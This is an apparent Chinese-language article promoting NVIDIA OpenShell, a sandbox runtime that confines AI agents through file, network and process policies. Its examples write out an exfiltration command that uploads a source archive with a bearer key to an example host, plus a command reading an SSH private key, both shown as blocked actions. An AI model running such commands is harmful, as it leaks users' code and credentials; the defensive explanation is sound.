NVIDIA OpenShell Skill:给 AI Agent 装上安全沙箱,让自主操作不再裸奔

NVIDIA OpenShell Skill:给 AI Agent 装上安全沙箱,让自主操作不再裸奔

功能与原则

OpenShell 是 NVIDIA 开源的 AI Agent 安全运行时,核心目标是解决一个根本矛盾:AI Agent 最有用的时候是它能读写文件、安装依赖、调用 API、使用凭证——但这种权限同时也是最大的安全风险。OpenShell 的解决方案是为每个 Agent 创造一个独立沙箱,通过声明式 YAML 策略精确管控文件系统、网络和进程权限,且策略由内核级机制强制执行、运行时即时生效,无需重启。

认可度

  • GitHub Star:截至 2026-10-01 约 10.5K⭐,呈快速增长态势(9 月 29 日为 9.7K,两天内跳近 1K)
  • GitHub Trending:2026-09-30 出现在 GitHub Trending 日榜
  • 版本状态:2026-09-25 正式发布 stable v0.1.0,移除 alpha 标签,进入稳定发布节奏
  • 社区:124 位 contributors,活跃 issue/PR 超 450 个,发布频率约每 1-2 天一个版本

链接

GitHub:https://github.com/NVIDIA/OpenShell

原作者

NVIDIA(英伟达) — 全球领先的 AI 算力公司,以 GPU 和深度学习基础设施闻名。OpenShell 是 NVIDIA 在 Agent 安全基础设施领域的首次开源尝试,背后有 NVIDIA AI 安全和系统团队支持。

介绍

AI Agent 正在从”回答问题”进化到”自主操作”——读取代码库、执行命令、调用内部 API、访问云服务。但一旦赋予这些能力,Agent 就有可能访问未授权文件、向外部服务泄露数据、或使用真实凭证操作敏感接口。传统方案要么完全限制 Agent 权限(失去实用性),要么给予完全信任(风险不可控)。

OpenShell 填补了这个空白。它将每个 Agent 隔离在独立容器中,通过三层保护机制强制执行最小权限原则:

文件系统层:Landlock 框架限制 Agent 只能读写声明的路径,未经授权的文件访问在系统调用层就被拦截。

网络层:所有出站流量经过 L7 策略引擎检查,精确到 HTTP 方法和路径级别,默认拒绝所有未声明的连接,支持热更新策略而无需重启沙箱。

进程层:seccomp 限制禁止特权升级和危险系统调用,阻断提权路径。

更关键的是,OpenShell 在策略变更前引入形式化验证(Formal Verification):当管理员申请新权限时,系统会预判这条变更会打开哪些新的访问面——比如”允许访问某主机 + 同时携带凭证”——并主动标记为需要人工 review,防止权限悄然扩大。

特点

  • 内核级隔离:每个 Agent 跑在独立容器中,文件系统、系统调用、网络连接均由内核机制(Landlock/seccomp)强制管控,Agent 自身无法绕过
  • 声明式 YAML 策略:安全边界用人类可读的 YAML 描述,版本可控、可审计,适合企业合规流程
  • 形式化验证 Policy Prover:策略变更前自动分析风险敞口,防止”看起来只开了一个小口子”演变成大范围权限泄露
  • 零凭证暴露:Agent 使用的凭证由 OpenShell 注入到沙箱中,只在策略允许的终点才生效,Agent 本身看不到真实密钥
  • 多 Agent 运行时:支持同时运行多个沙箱实例,面向多租户企业部署设计,Kubernetes 部署路径已就绪
  • 内置主流 Agent 支持:开箱支持 Claude Code、OpenCode、Codex、GitHub Copilot CLI,可直接通过 npx skills add NVIDIA/OpenShell 安装 Agent 专属技能
  • Rust 实现:核心组件用 Rust 编写,强调内存安全和运行时性能

使用方法

安装(Linux/macOS/WSL2):

# 方式一:官方安装脚本(推荐)
curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh

# 方式二:通过 uv 从 PyPI 安装
uv tool install -U openshell

创建沙箱并运行 Agent:

# 创建一个以 Claude Code 为内建工具的沙箱
openshell sandbox create --name demo -- claude

# 连接沙箱
openshell sandbox connect demo

# 沙箱内默认只能访问极少量网络
# 管理员可通过 YAML 策略放行指定端点
openshell policy set demo --policy examples/sandbox-policy-quickstart/policy.yaml --wait

Agent 技能安装:

npx skills add NVIDIA/OpenShell

安装后,Claude Code 等 Agent 会自动学会驱动 OpenShell CLI、写沙箱策略、调网关调试工具的技能。

Kubernetes 部署:

helm install openshell-gateway ./charts/openshell 
  --set gateway.replicas=2 
  --set networkPolicy.enabled=true

使用场景与人群

适用场景:

  • 在企业开发环境运行 AI Coding Agent(Claude Code/OpenCode),防止 Agent 访问内部代码库或发送代码到外部
  • 多租户 SaaS 平台,让每个用户请求的 Agent 运行在独立租户隔离环境
  • 对接内部 API 的自动化工作流,需要确保 Agent 只在授权范围内操作
  • 需要合规审计的 AI 部署场景,策略文件本身即可作为安全审计记录

目标用户:

  • 企业 AI 平台工程师 / 安全团队
  • 在敏感环境(金融、医疗、法律)部署 AI Agent 的技术负责人
  • 研究 Agent 安全性与可控性的开发者

输入与输出案例

案例一:防止数据外泄

输入(Agent 尝试执行):
curl -X POST https://external-api.example.com/upload 
  -H "Authorization: Bearer $REAL_API_KEY" 
  --data-binary @/home/user/internal_project/source.zip

OpenShell 拦截结果:
{"error":"policy_denied","detail":"POST https://external-api.example.com/upload not permitted by policy"}

案例二:最小权限文件访问

输入(Agent 尝试读取 SSH 私钥):
cat ~/.ssh/id_rsa

OpenShell 拦截结果:
[Agent 进程被内核拒绝,文件系统权限仅限 /workspace 目录]

案例三:凭证保护

场景:Agent 需要调用内部 GitHub API 推送代码
OpenShell 策略配置:
  providers:
    github:
      credentials: $GITHUB_TOKEN
      allowed_endpoints:
        - https://api.github.com/repos/your-org/*

Agent 在沙箱内调用时,$GITHUB_TOKEN 被动态注入到请求头中,
但 Agent 本身无法通过 env 或文件读取到这个真实密钥。

NVIDIA OpenShell 代表了 AI Agent 基础设施领域的一个重要方向:从”让 Agent 能做任何事”转向”让 Agent 只能在明确声明的边界内做事”。随着 Agent 逐步进入企业生产环境,这种内核级安全沙箱有望成为标准配置。


GitHub: https://github.com/NVIDIA/OpenShell

评论区

0 条评论

登录后可评论。

Skill超级捕获手 66 阅读